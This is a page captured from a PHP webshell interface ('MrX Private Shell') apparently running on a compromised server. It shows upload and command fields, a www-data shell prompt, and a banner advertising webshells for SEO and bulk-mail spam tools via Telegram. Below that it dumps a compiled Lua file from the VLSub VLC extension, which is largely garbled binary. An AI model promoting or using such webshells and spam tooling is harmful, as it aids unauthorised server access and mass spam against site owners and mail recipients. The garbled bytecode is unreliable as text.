__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
LuaR�

6�@
@@�
�@�
@A�
@A�
ƒ
�„
ÅK�J�C�JćJ�ĈJʼnJ�ŊJƋJ�ƌJǍJ�ǎJȏJ�ȐJɑJ�ɒJʓJ�ʔ
@��K@J@K�J�K�J@L�J�L�J@M�J�M�J@N�J�N�J@O�J�O�J@P�J�P�J@Q�J�Q�J@R�J�R�J@S�J�S�J@T�J�T�J@U�J�U�J@V�J�V�J@W�J�W�J@X�J�X�J@Y�J�Y�J@Z�J�Z�J@[�J�[�J@\�J�\�J@]�J�]�J@^�J�^�J@_�J�_�J@`�J�`�J@a�J�a�J@b�J�b�J@c�J�c�J@d�J�d�J@e�J�e�J@f�J�f�J@g�J�g�J@h�J�h�J@i�J�iӁ@*��*��J�ԁ+�@+��J���J�k�
@��K��,A,�@��,A�,�@A-�A-$AK��-��-dA��.B.�A��.A�.�AA/�B/$BK��/��/dB��B��B�0AC0�BA�0��0$CK�1�C1dC���1�1�C�2AD2�CA�2��2$DK�3�D3dD���3�3�D�4AE4�DA�4��4$EK���dE��E��E�5AF5�EA���5$FK���dF���56�F�G6A�6�FA�6�7$GK�G7��7dG��G�7�G�8AH8�GA�8��8$HK�9�H9dH���9�9�H��A	�H	A	:�I:$IK	��:��:dI�	�I
�
�I�	
;AJ;�I
A�;��;$JK
�
<�J<dJ�
��<�<�J�
=AK=�JA�=��=$KK�>�K>dK���>�>�K�?AL?�KA�?��?$LK�@�L@dL���@�@�L�
AAMA�Ld@���A�A�@�BAAB�@A�B��B$AK�C�ACdA���C�C�A�DABD�AA�D��D$BK�E�BEdB���E�E�B�FACF�BA�F��F$CK�G�CGdC���G�G�C�HADH�CA�H��H$DK�I�DIdD��D�I�D��A�DA�I�J$EK���dE��EJ�J�E��JAK�EAFK��K$FK��K�LdF��FL�L�F�GA��FA�L�M$GK���	dG��GM�M�G�H	A�	�GA�M�N$HK�HN��NdH���N	O�H�IOA�O�H	A�O�	P$IK	�IP��PdI�	��P
Q�I�	JQA�Q�I
A�Q�
R$JK
��	�

dJ�
�JR�R�J�
�RAS�JAKS��S$Kd�����S���T����@T�����T�@���T����U���@U�����U����U����V���@V�����V�����V����W�@��@W�����W����W����X�@��@X�@���X�@���X����Y���@Y�����Y�����Y���Z����@Z�@���Z����Z���[���@[�����[�����[���\����@\�@����\A����\�A���]B���@]�B����]C����]�D���^G���@^�G����^�H����^I���_�@��@_�����_�����_AJ���`AK���@`AL����`�@���`�L���a����@aAM����a�@���aAN���b�O���@bAP����bAQ����b����cAR���@c�R���K��c����c�A��d���Ad����d����d�A��e���Ae����e����e�A��f���Af����f����f�A��g���Ag����g����g�A��h���Ah����h����h�A��i���Ai����i����i�A��j���Aj����j����j�A��k�BkD�A�kA�k�AlK��Bl��lJ���l�J��m�BmJ���m��mJ��J����n�J��BnJB�A�n��nK��o�BoJ���o��kJ��A�oKB�p�J��Bp�J��J��큂p�J���l�J���p�J��q�J��Bq�J���q�J���q�J��r�J��Br�J���r�J��A�rK�s��kJ��Bs��kJ���s��kJ���s��kJ��Ate��ABte��A�tKB��t˂ue�BCueC�BJ���u˂ue��BCue��BJ���u˂ue	�BCueC	�BJ��v��CvA�v�Bue�	�BCue�	�BJ���v��CvA�v�Bue
�BCueC
�BJ��A�ve�
�Awe�
�ABwe�A�weB�A�we��A��x���Ax����x�A���x���y���Ay�
���y�A
���y�
��z�
��Az����z�A���z���{���A{����{�A���{���|���A|����|�A���|���}���A}����}�A���}���~���A~����~�A���~����	languagedownloadBehavioursavelangExt
removeTagshowMediaInformationprogressBarSizeT@intLangengtranslations_availEnglishczeCzechdanDanishdutNederlandsfre
FrançaisellGreekbaqBasquepobBrazilian PortugueseporPortuguese (Portugal)rum	RomaniansloSlovakspaSpanishsweSwedishukr
Ukrainianhun
Hungariantranslationint_allAll
int_descr*Download subtitles from OpenSubtitles.org
int_research	Researchint_configConfigint_configurationConfiguration	int_helpHelpint_search_hashSearch by hashint_search_nameSearch by name
int_titleTitleint_seasonSeason (series)int_episodeEpisode (series)int_show_help
Show helpint_show_confShow configint_dowload_selDownload selection
int_closeCloseint_okOk	int_saveSaveint_cancelCancelint_bool_trueYesint_bool_falseNoint_search_translSearch translationsint_searching_translSearching translations ...
int_int_langInterface languageint_default_langSubtitles languageint_dowload_behavWhat to do with subtitlesint_dowload_saveLoad and saveint_dowload_load
Load onlyint_dowload_manualManual downloadint_display_code#Display language code in file nameint_remove_tagRemove tagsint_vlsub_work_dirVLSub working directoryint_os_username	Usernameint_os_password	Passwordint_help_mess�      Download subtitles from
      <a href='http://www.opensubtitles.org/'>
      opensubtitles.org
      </a> and display them while watching a video.<br>
      <br>
      <b><u>Usage:</u></b><br>
      <br>
      Start your video. If you use Vlsub witout playing a video
      you will get a link to download the subtitles in your browser
      but the subtitles won't be saved and loaded automatically.<br>
      <br>
      Choose the language for your subtitles and click on the
      button corresponding to one of the two research methods
      provided by VLSub:<br>
      <br>
      <b>Method 1: Search by hash</b><br>
      It is recommended to try this method first, because it
      performs a research based on the video file print, so you
      can find subtitles synchronized with your video.<br>
      <br>
      <b>Method 2: Search by name</b><br>
      If you have no luck with the first method, just check the
      title is correct before clicking. If you search subtitles
      for a series, you can also provide a season and episode
      number.<br>
      <br>
      <b>Downloading Subtitles</b><br>
      Select one subtitle in the list and click on 'Download'.<br>
      It will be put in the same directory that your video, with
      the same name (different extension)
      so VLC will load them automatically the next time you'll
      start the video.<br>
      <br>
      <b>/!\\ Beware :</b> Existing subtitles are overwritten
      without asking confirmation, so put them elsewhere if
      they're important.<br>
      <br>
      Find more VLC extensions at
      <a href='http://addons.videolan.org'>addons.videolan.org</a>.
      int_no_support_messg      <strong>VLSub is not working with VLC 2.1.x on
      any platform</strong>
      because the lua "net" module needed to interact
      with opensubtitles has been
      removed in this release for the extensions.
      <br>
      <strong>Works with VLC 2.2 on mac and linux.</strong>
      <br>
      <strong>On windows you have to install an older version
      of VLC (2.0.8 for example)</strong>
      to use Vlsub:
      <br>
      <a target="_blank" rel="nofollow"
      href="http://download.videolan.org/pub/videolan/vlc/2.0.8/">
      http://download.videolan.org/pub/videolan/vlc/2.0.8/</a><br>
    
action_loginLogging inaction_logoutLogging outaction_noopChecking sessionaction_searchSearching subtitlesaction_hashCalculating movie hash
mess_successSuccessmess_errorError
mess_warnWarningmess_no_responseServer not respondingmess_unauthorizedRequest unauthorized
mess_expiredSession expired, retryingmess_overloaded&Server overloaded, please retry latermess_no_input&Please use this method during playingmess_not_local1This method works with local file only (for now)mess_not_foundFile not foundmess_not_found2$File not found (illegal character?)mess_no_selectionNo subtitles selectedmess_save_failUnable to save subtitlesmess_save_warn=Unable to save subtitles in file folder, using config foldermess_click_linkClick here to open the filemess_completeResearch completemess_no_res
No result	mess_res
result(s)mess_loadedSubtitles loadedmess_not_loadUnable to load subtitlesmess_downloadingDownloading subtitlemess_dowload_linkDownload linkmess_err_conf_access#Can't find a suitable path to saveconfig, please set it manuallymess_err_wrong_path&the path contains illegal character, please correct itmess_err_hashFailed to generate hashabk
Abkhazianafr
Afrikaansalb	AlbanianaraArabicarg
Aragonesearm	Armenianast	AsturianazeAzerbaijanibelBelarusianbenBengalibosBosnianbreBretonbul
BulgarianburBurmesecatCatalanchiChinese (simplified)zhtChinese (traditional)hrv	CroatianprsDariDutchepo
Esperantoest	Estonianext
ExtremaduranfinFinnishFrenchglaGaelicglg	Galiciangeo	GeorgiangerGermanhebHebrewhinHindiice
IcelandiciboIgboindIndonesiangleIrishitaItalianjpn	JapanesekanKannadakazKazakhkhmKhmerkorKoreankurKurdishlavLatvianlitLithuanianltzLuxembourgishmacMacedonianmayMalaymal
Malayalammni	ManipurimarMarathimon
MongolianmneMontenegrinnavNavajonepNepalismeNorthern Saminor
NorwegianociOccitanoriOdiaperPersianpolPolishPortuguesepusPushtorusRussiansatSantalisccSerbiansndSindhisin
Sinhaleseslv
SlovenianswaSwahilisyrSyriactglTagalogtamTamiltatTatartelTeluguthaThaitok
Toki PonaturTurkishtukTurkmenurdUrduvieVietnamesewelWelshsqarhyeubnbsbrbgmycazhhrcsdanleneoetfifrglkadeelhehihuisiditjakkkmkolvltlbmkmsmlmnnoocfaplptpororusrsiskslesswsvtltethtrukurvidescriptor	activateclosedeactivatemenu
meta_changedinput_changedinterface_mainset_interface_maininterface_configinterface_helpinterface_no_support
trigger_menu
show_main
show_conf
show_help
close_dlgassoc_select_confset_default_optiondisplay_select
check_configload_configload_translapply_translationgetenv_lang
apply_configsave_configSetDownloadBehavioursget_available_translationsset_translationopenSub
itemStoreactionLabelconfurl%http://api.opensubtitles.org/xml-rpcpathuserAgentHTTPVLSub
useragent
VLSub 0.11.1downloadBehaviours
languagesoptionsession
loginTimetokenfile	hasInputuriname	protocol
cleanNamedirhash	bytesizefpstimemsframesmovietitle
seasonNumberepisodeNumbersublanguageidrequestgetMethodBasemethodsLogInparams	callbackLogOutNoOperationSearchSubtitlesByHashmethodNameSearchSubtitles
getInputItemgetFileInfo
getMovieInfo
getMovieHash
checkSessionsearchHashsearchIMBDdisplay_subtitlesget_first_selfind_subtitle_in_archivedownload_subtitles	dump_zipadd_subprogressBarContentsetMessage	setErrorsuccess_tag
error_tag	warn_tagget	http_req
parse_header
parse_url
parse_xml
parse_xmlrpc	dump_xmlfile_touchfile_exist	list_diris_window_pathis_win_safetrimremove_tagKgq�
@@�
�@�
@A�
�A�
@B�F�BG�
@�K����d@
@���title
VLsub 0.11.1version0.11.1author
exebetcheurlhttp://www.opensubtitles.org/
shortdescVLsubdescriptiontranslation
int_descr
capabilitiesmenuinput-listener@lua/extensions/VLSub.luahijklmnnnooooopqoptionss�@@@�@A�@A��@��@@@@AA�@@�AB��@�@B�B@�@B�B@�C@��
vlcmsgdbg[VLsub] Welcome
check_configerr [VLsub] Unsupported VLC versioninputitemopenSubgetFileInfo
getMovieInfo
show_main@lua/extensions/VLSub.luatttttvvvvwwwwwxx{{{{{{|||}}}���_ENV��@@@@��vlcdeactivate@lua/extensions/VLSub.lua����_ENV��@@@�@A�@����A@@A�A�A�@A�A�AXB��@A@BA�@�vlcmsgdbg[VLsub] Bye bye!hideopenSubsessiontokenrequestLogOut@lua/extensions/VLSub.lua��������������������������_ENVdlg��
�F@G@��@��@�@��$@��lang
int_researchint_config	int_help@lua/extensions/VLSub.lua
����������_ENV���@lua/extensions/VLSub.lua�����@@�@@@�@@��collectgarbageset_interface_main@lua/extensions/VLSub.lua�������_ENV���@�@���@�����A�@��A����A����B�@��@Bƀ��A��@@�@��C������A�@��C����D�@C�@��@���A�������B�@���D���A���@@�@��E�����AA�@��C����D��E�@��@��AA������@�@���E������A�@��C����D�F�@��@���A�������F����A�����@G�@����A������B�@��H�@�A���@B���@������@��A���@B�@���I��AA���@B�@��J�@��A���@��A@�@�������FA�GA�@��@��/
add_labellangint_default_lang:�?	language
add_dropdown@add_buttonint_search_hashsearchHash@
int_titletitleadd_text_inputopenSubmovieint_search_namesearchIMBDint_season@
seasonNumberint_episodeepisodeNumber	mainlist	add_list@message @int_show_help
show_help@   int_show_conf
show_confint_dowload_seldownload_subtitles
int_closedeactivateassoc_select_confconf
languagesint_alldisplay_subtitles@lua/extensions/VLSub.lua���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������dlg_ENVinput_table��*@F@���@@��@A@��@@A@�@��A��@��A�@@�@��@�@��A��@��A�@B�@��@����A��@��A��B�@��@��typetitle	userdataopenSubgetFileInfo
getMovieInfo	set_textmovieepisodeNumber
seasonNumber@lua/extensions/VLSub.lua*������������������������������������������_ENVinput_table��@@��@��@����@AAA�A�����A��@�B�@B�AA�A�A���C�@�@AAA����@@��@��C����@�A��A@��C�@��AAA����@@��@�D����@AA��A@��C�@�@AAA����@@��@��D����@�A�A@��C�@��AAA����@@��@��E����@�A�A@��C�@��AAA���@@��@�@F����@�A�A@��G�@GƀG������H���G��G��F�@��@���A��A�����@@��@��H����@�A�A@��@I�@GƀG������H���G��G�I�@��@���A��A����I��@@�
�@A
AA�A�����A��@��J�J�A�A�A@��A��@�@KƀKAA�A�A@@E�K��@�ALF�GG��GA�������@@@E�K��@�ALF�GG��GA�T��������@F�K��@�ALF�GG��G�������@@F�K��@�ALF�GG��G�T��������@�LA���ƀG�����@��LA��@
ƀG��ǀ��F�@G��@�LA@�@ƀG����A@��9intLangLab
add_labellang
int_int_lang:�?intLangButadd_buttonint_search_translget_available_translations@intLang
add_dropdown@int_default_langdefault_languageint_dowload_behavdownloadBehaviourint_display_code@langExtint_remove_tag@
removeTagint_os_username@os_usernameadd_text_inputtypeopenSuboptionstringint_os_password @os_password
add_passwordmessage "@int_cancel
show_main$@	int_save
apply_config
add_value
int_bool_	tostringassoc_select_confconftranslations_avail	language
languagesint_alldownloadBehaviours@lua/extensions/VLSub.lua������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������		









	input_tabledlg_ENV )	"@@@EL���A�A�]��H@�EL���A��AA�݀�A���]@�EL@��@ǀ��CAA���]@�langint_help_messhelp	add_html�?@
add_labelstringrep&nbsp;Y@@@add_buttonint_ok
show_main@lua/extensions/VLSub.lua"!!##$$$$$#$%%&&&&&&&&&%''(((((((')
help_html"_ENVinput_tabledlg+2@@@EL���A�A�]��H@�EL���A��AA�݀�A���]@��
langint_no_support_messno_support	add_html�?@
add_labelstringrep&nbsp;Y@@@@lua/extensions/VLSub.lua,,../////./0011111111102no_support_html_ENVinput_tabledlg4F4@��F@@]@�F�@G���A�@A��A]�I�F�A]@���B��F@@]@�F�@G���A�@A��A�@�B�B�]�I�FC]@��@C��F@@]@�F�@G���A�@A��A�@�B�C�]�I�F�C]@�FD]@���?
close_dlgvlcdialogopenSubconf
useragentinterface_main@: langint_configurationinterface_config@	int_helpinterface_helpcollectgarbage@lua/extensions/VLSub.lua455667788878999::;;<<=======<=>>>??@@AABBBBBBBABCCEEFdlg_id4_ENVdlgHJ@A@@�
trigger_menu�?@lua/extensions/VLSub.luaIIIJ_ENVLN@A@@�
trigger_menu@@lua/extensions/VLSub.luaMMMN_ENVPR@A@@�
trigger_menu@@lua/extensions/VLSub.luaQQQR_ENVT`@@@�@A�@�XA���@A@	�		�A@��vlcmsgdbg[VLSub] Closing dialoghidecollectgarbage@lua/extensions/VLSub.luaUUUUUWWWYYY\\]]^^__`_ENVdlginput_tabledn
KJ��JA��J�J���@F��]AFA��]A�cfoptdfltindset_default_optiondisplay_select@lua/extensions/VLSub.lua
fghijklllmmmn
select_id
option
conf
ind
default
select_conf_ENVp�FG���@@�ǀ���AA�A��A@�A��optcfindopenSuboptiontablesortv~�@�@@ǀ���������������@@ǀ����������������Y���@�����?openSuboption@lua/extensions/VLSub.luawwwwwwwxxxyyyyyyyzzz|||||||||~ab_ENVoptind@lua/extensions/VLSub.luarrssttuuuuuvvv~v�
select_idoptcfgindselect_conf_ENV��4FG���@@ƀ���ǀ�ACA�C��A������[@��̂�G�A���B������̂�G�A���B�̂�@��B@��̂�@��B�̂�G�A���BC���#B��	cfoptopenSuboptiondfltipairs
add_value@@lua/extensions/VLSub.lua4����������������������������������������������������
select_id4conf4opt4option4default	4default_isset
4(for generator)3(for state)3(for control)3k1l1select_conf_ENVinput_table�b�@@F�@G��G�@�F@J�"�������AE���FAA��A�BJ�"��@��B�BC�������@B@C���@�C
��@�C
@ć@BA�@F�@G���E��B�@E���J���FEG��G����@��C��D�]��X@����Eǀ���X����E���@��F�@G��G��A�@����A�A���@�A@�@
�FEG��G����@��C��D�BB��]€�@�X@�@�FEG��G��X@�FEG�GB���Ƃ@ǂ����CB@�B]BC_F�@G����@��C��D�BB�J���"�����@�C�D"�EG�HA	��@��C��DV��A�@�CF�@G��G���V��
A���@�CF�@G��G���AB��	V��
A�JF�@G��GA����EG�HAA
��@��C�AIV��A�JA�@�EG�HA�
AKA��K����AKA�EG�HA�ALF�@G��G���F�@G��GA����A����ƂL���A
�C
݂����@�@CL�C��M�M@����DA��CC���#����@��@�NX@N�	���@��C��N�A@���@��C��I�AB�@�@NA��A�J݁����E����@B�A�AO�A�EG�HA���V��A@P�A�E�P�E�P�PA@�EQF�@G��GA����P��V���	�RA��ARA�RA�A@F�@G��GA���F�@G�G��@���F�MG����@��C�BL��@��$C]B@�F�MG����@��C�BL��@�B]B�"����SA���Meng_translationpairsopenSuboptiontranslationtrsl_namesipairs�?@slashpackageconfigsub\confoswinlinvlsub_conf.xmldirPathvlcuserdatadiriomkdir0700errnoEEXISTmsgwarnFailed to create luaextensions	userdatavlsubdbg[VLSub] Working directory: 	filePathlocalePathlocalefile_exist[VLSub] Loading config file: load_config[VLSub] No config filegetenv_lang
config_savedsave_config[VLSub] Unable to save config	list_dirtranslations_availstringgsub^(%w%w%w).xml$%1tableinsertintLangengtranslated.xml([VLSub] Loading translation from file: load_transl'[VLSub] Unable to find a suitable path'to save config, please set it manuallylangnetpolldialog
useragent: mess_errorinterface_no_supportshowSetDownloadBehaviours
int_researchcollectgarbage@lua/extensions/VLSub.luab������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������			



!(for generator)(for state)(for control)k
v
(for generator)(for state)(for control)ilg	filePath,bres;berr;bsubdirsSb(for generator)V�(for state)V�(for control)V�_W�dirW�
file_list�translations_avail�(for generator)��(for state)��(for control)��i��
file_name��lg��transl_file_path(for generator)?](for state)?](for control)?]k@[l@[_ENV
languagesoptionsdlg:E@@@�@F�@G�G@�����@@�C_L�A�]���@B�@��B�����B��	�C@��@C���C@��@A
ć�B@���F�@GC�G��J�"��B����@BD
��������@BD
D������@BD
E���@BD
��cA��@E�@��vlcioopenopenSubconf	filePathrbread*allflush
parse_xmlpairstypetabletranslationtranslatedoptiontruefalsecollectgarbage@lua/extensions/VLSub.luaE    !!!""###%%%%&&&&&''((())))****))+---.001111223333555%%99:
tmpFileErespEoptionE(for generator)B(for state)B(for control)Bkey@value@(for generator)%,(for state)%,(for control)%,k&*v&*_ENV<EF@�@@��@��@���]��@��������@�B�@��B��B�@�C@����@C�@��assertvlcioopenrbread*allflushopenSuboptiontranslation
parse_xmlcollectgarbage@lua/extensions/VLSub.lua>>>>>>>>???@@AAACCCCCCDDEpathtmpFileresp_ENVGN@F@@��F�@G��G�G��[A@�F�@G��G��A@��J��"��@��pairseng_translationopenSuboptiontranslation@lua/extensions/VLSub.luaIIIIJJJJJJKKKKKKIIN(for generator)(for state)(for control)kv_ENVPc	0@@@A���F�@G���@�]��F�A��]�[�FBG@���J����F�@G���@�C�@������]���D�B�@�ǀ����ǁA@����B�A��D����#���osgetenvLANGstringsub@typeopenSuboption	languagematch
setlocalecollate^[^_]+ipairsconf
languages�?@lua/extensions/VLSub.lua0RRRRTTUUUUUUUVVVVVWWWWXZZ[[[[[\Z]]]]]]^^^____]]cos_lang0lang_w /(for generator)%/(for state)%/(for control)%/i&-v&-_ENVlang_os_to_isoe�i@@@�D@�X�@����AAA@���AAA�@F���]AF��]A��E��F�[��F�[�F�LB�]�@���@�����F�G��JC@�F�G���B��B��@J�F����]B"�������BF�CL�]�
A�����BFADL�]�
A���DA@��D�����BF��G��G��T�
A�EA@��D�����BF��G��G�T�
A�A���F����]AA��F�����AF]A�intLang
get_value�?openSubconftranslations_availset_translationSetDownloadBehaviourspairsoptoptioncfset_default_optionos_username	get_textos_passwordlangExt@
removeTagsave_config
trigger_menu	setErrorlangmess_err_conf_access@lua/extensions/VLSub.luaiggghllllmmmmmmnnnnnoooppssssuuuuuuvvvvwxzz{{{{}}}}}}���ss������������������������������������������������lg_selisel_valioptisel_cfilg(for generator)9(for state)9(for control)9
select_id7v7
config_saved_iinput_table_ENVselect_conf��=@@@�@@
�@@@�@	�A@A�AA��@�@@��@V��@AB@BF@G@�G������X�B��FC�@�@C]���C��@���C�@@�C_FD]@�C�_�A@A�AA@��V��@�DFEG@�@�openSubconfdirPath	filePathvlcmsgdbg[VLSub] Saving config file:  ioopenwb	dump_xmloptionwriteflushcollectgarbage&[VLSub] Unable fount a suitable path 'to save config, please set it manually	setErrorlangmess_err_conf_access@lua/extensions/VLSub.lua=�������������������������������������������������������������tmpFile.resp!'_ENV��@@@
�@�@@@K��AA�A�@��FAAG��@d@
@��	openSubconfdownloadBehaviourssavelangint_dowload_savemanualint_dowload_manual@lua/extensions/VLSub.lua�������������������_ENV��VA@@F�@L��]����@A����F�����BJ���F@��]���B�B���FA��������@�Bց��]A�F����]�H@�D�������CE�EX��C@����C�
C��FF��G��G��������CC�CEG�����ƃ���������C�c��A�B�F�G���A���A�� $http://addons.videolan.org/CONTENT/,content-files/148752-vlsub_translations.xmlintLangBut	get_textlangint_search_translopenSubactionLabelint_searching_translgetoptiontranslations_availsetMessage
error_tagmess_error ()	all_trsl
parse_xmlpairsintLang�?trsl_namestableinsertconf
add_valuesuccess_tagmess_completecollectgarbage@lua/extensions/VLSub.luaV��������������������������������������������������������������������������������������translations_urlVtranslations_contentUstatusUrespUtranslations_availUlg&Utrsl&U(for generator))M(for state))M(for control))Mlg*Ktrsl*Kinput_table_ENVoptions�[F@G@�J�@�F@G@��J��A��F@A��A]���@�A@��@�Ab��@���F@G��G�[��F@B�@��A�BƀBA��@]�[��F@G��G���B��V��C�@C��C������@�D���@�@D�@���F�D[@@�F�D]@�F�D[��F�DG�[@��FCG@�G���]@C_F@G@���D�J��F@D]@��@����F@G@�G��@��F�E]@��openSuboptiontranslationengpairseng_translationconflocalePathfile_existslash.xmlvlcmsgdbg([VLSub] Loading translation from file: load_translapply_translation	all_trslget_available_translations%[VLSub] Error, translation not foundlangcollectgarbage@lua/extensions/VLSub.lua[��������������������������������������������������������������������	



lg[(for generator)(for state)(for control)k
v
transl_file_path+7_ENV6j�F@G@�G�G��]���@��@������AA@����AF@G��G�����A�A��A��@BA�@��A�BCV������DCD@�����A��A��D��AB݁������E@�����F�
��BF������������F���@�B@��G���������@G��@��G���B�
��
��H�B��A�����ƒ�B��@
��H�	�B����@I���H��	�B�BF������@��I�J��X����BJ��
�B�@��I������@��G��B�����J��H��B���-openSubmethodsparamsgetMethodBase<?xml version='1.0'?>	dump_xml
parse_urlconfurlPOST 
 HTTP/1.0Host: 
User-Agent: userAgentHTTPContent-Type: text/xmlContent-Length: stringlentableconcat
	http_reqT@i@
parse_xmlrpcstatus200 OK	callback406 No sessionrequestLogIn	setErrorcode '' ()Server not respondingy@Request unauthorizedsessiontokensetMessageSession expired, retryingp@&Server overloaded, please retry later@lua/extensions/VLSub.lua�777778888899999:::::;<<<<===>>>>>?@@@@@@ACCDDDDDDDFGGGGGIIJJJJKKLLLMMMNNMNNOOOPPPPPQQRRSTTTTRUUVXXXYYZ[[\\\^^^^______```aaaabbbbdddeefffggj
methodName�params�	reqTable
�request�host�path�header+�	response3�status8�responseStr8�_ENVkv�@�@@���@����@�@@��@�@ˀ��A
A����������openSubmethodsmethodNamemethodCallparamsparam@lua/extensions/VLSub.luallllllmmmmpqrssssuvmethodNameparamrequest_ENVy�$@F�@G��
@��K@�@�@ǀ�������J���@�@@�AB�������@AF@GA�G��
A����AKA�@��B�CJ���
A�$@�
openSubactionLabellang
action_loginvaluestringoptionos_usernameos_passwordmoviesublanguageidconf
useragent@lua/extensions/VLSub.lua$zzzz{{|||||||}}}}}}}~~~~~~~���_ENV��
F@G@���@J��F@G@��A�@A���J���C�_�openSubsessiontoken
loginTimeostime@lua/extensions/VLSub.lua
�������������resp
_ENV��@F�@G��
@���K@�@�@ǀ�������J��$@��openSubactionLabellangaction_logoutvaluestringsessiontoken@lua/extensions/VLSub.lua���������������_ENV����@lua/extensions/VLSub.lua�����@F�@G��
@���K@�@�@ǀ�������J��$@��openSubactionLabellangaction_noopvaluestringsessiontoken@lua/extensions/VLSub.lua���������������_ENV��C�_�@lua/extensions/VLSub.lua���resp��>@F�@G��
@��AF@G@��@ƀA�݀V��@K@�@�@ǀ�������J���@�@AKA�A�A�K�JBD��B�@ǂ��B��‚�J������D��B@ECE������˂ʂE�CF@G�G�
C����$B�������J��
A�������$@�openSubactionLabellangaction_searchsetMessage: progressBarContentvaluestringsessiontokenarraydatastructmembernamesublanguageidmovie
moviehashfilehashmoviebytesizedouble	bytesize@lua/extensions/VLSub.lua>��������������������������������������������������������������_ENV��F@��@J����openSub
itemStoredata@lua/extensions/VLSub.lua����resp_ENV��	X@F�@G��
@��AF@G@��@ƀA�݀V��@K�J@B��@�@���@�����J�����@C��@@C�C������$@F@G�G��X���F@DG���ˀ�D�AF@G�G��
A����]@�F@G�G�X���F@DG���ˀ�@E�AF@G�G�
A����]@�K�@�@@�E�E�������@AKA�A�AB
�������J���
A���d@_�openSubactionLabellangaction_searchsetMessage: progressBarContentnamesublanguageidvaluestringmoviequerytitle
seasonNumbertableinsertseasonepisodeNumberepisodesessiontokenarraydatastructmember@lua/extensions/VLSub.luaX����������������������������������������������������������������������������������������memberX_ENV��F@��@J����openSub
itemStoredata@lua/extensions/VLSub.lua����resp_ENV��
@@@@��@�@@@���vlciteminput@lua/extensions/VLSub.lua
����������_ENV�
S@@@��F@G��@��J��J���J�����B�@B��B���A����@��A��J����B�C�@C�����@@��B��ǀ���݀���C��AA��D���DAVA�݀������C��A���D��DAVA���J�J���ǀ��@�J��J@Ɓ�Cǀ���A��݀J����B�@�ǀ�AF�G��]�A�@��G�@�� openSub
getInputItemfile	hasInput
cleanNameurivlcmsgdbg[VLSub] Video URI: strings
make_pathdecode_uristringmatch^.*[slash]([^]-).?[%a%d]*$dirname^(.*[])([^gsub[%._] [VLSub] file info 	dump_xmlcollectgarbage@lua/extensions/VLSub.luaS��������������������������������������������������������������������itemSfileS	filePathP_ENV"D@@@�@@��@�@
@A�@�@
@A�@�@
@��B@BF@G@�G��[@�A@���@��B�@�@A@�BA�AA����@�@��@�����@���@��@��ʀ�����@��@A@�B���@���@A��@���@���@C�@��openSubfilenamemovietitle
seasonNumberepisodeNumberstringmatch
cleanName(.+)[sS](%d%d)[eE](%d%d).*(.+)(%d)[xX](%d%d).*collectgarbage@lua/extensions/VLSub.luaD			


!!"	showNameD
seasonNumberDepisodeNumberD_ENV#l"�@F�@G��
@��AF@G@��@ƀA�݀V��@@B��@@�F@B��@��B]@C_F@G��]@�A��AD�ƁC����B�AƁCǁ�@�DE݁B����@�EG����€��@�@��C�CFAB��V��BBBF�@G��B�EG���������@[A��C�CFA�V��BBBF�@G��BB������A������	ED����	�����	�MG��F��@����@�
�
��φH��
�F���
��H
�
�ƃφH��
�F���
��H	M�

���I�FI
���@
��
�MB�@
���I�FI
����@
��
N���E��@��D����@��D�J�E��
@��݅�Ņ���C��C�D��
@�D�I���E��C��C�D�����E�EK�E�����.openSubactionLabellangaction_hashsetMessage: progressBarContent
getInputItem	setErrormess_no_inputgetFileInfo�@vlcmsgdbg#[VLSub] Read hash data from streamstreamfileurireadpcallgetsizewarn$[VLSub] Failed to get stream size: mess_err_hashseek2[VLSub] Failed to seek to the end of the stream: �A�? @byte@p@pAmathfloor	bytesizehashstringformat	%08x%08x[VLSub] Video hash: [VLSub] Video bytesize: collectgarbage@lua/extensions/VLSub.lua�%%%%&&&&'''&&)))++,,,,--00023456:::::<<<<<<>>>>??????@@AAAAAAABBBBCCEEEEEEEFFGGGGGGGHHHHIIKKKKNOPQQQRSUUUUVVVVVVVVVVVVWWWWWWWXXXXXXXZZ[[[[[\\]``aaaaabbUfffggggggggghhhhhhhhhiiiiiiijjkklitem�data_start�	data_end�size�chunk_size�ok �err �file+�lo_�hi`�oa�aa�ba�ca�da�ea�fa�ga�ha�
hash_datad�	max_sizee�	overflowf�(for index)i�(for limit)i�(for step)i�ij�_ENVmt@@@�@�@�@AA@@��@AA�@�openSubsessiontokenrequestLogInNoOperation@lua/extensions/VLSub.luaoooooppppprrrrt_ENVw�(@@@��@��F��G�J�����F��G������A�B��@BJ���F��G��]@�F��G��G�[@�F��G@�]@�F��G����]@F�]@���F@������D]@�	language
get_valueopenSubmoviesublanguageidallconf
languages�?
getMovieHashfilehash
checkSessionrequestSearchSubtitlesByHashdisplay_subtitles	setErrorlangmess_err_hash@lua/extensions/VLSub.lua(xxxyyzzzz||||||||��������������������sel(input_table_ENV��8@@@F�@����A�]�
@�@@@F�A�@��A�]�
@��@@@F�A����A�]�
@���@B��B��F@G@�J��F@G@��@�@C��C���CJ���F@G@�G��X��F@G@�]@�F@G����]@FE]@��openSubmovietitletrim	get_text
seasonNumber	tonumberepisodeNumber	language
get_valuesublanguageidallconf
languages�?
checkSessionrequestSearchSubtitlesdisplay_subtitles@lua/extensions/VLSub.lua8��������������������������������������������������������sel8_ENVinput_table��D@L@@]@F��G��[@��F��G��X�
�A@���ƀ�������݁����BGBB����BAC��C��Vƒ���AM���#�@��@��@�����EAA�����@������E���@�LB����]@F@�������AF��G��@]@�	mainlistclearopenSub
itemStore0ipairsnext
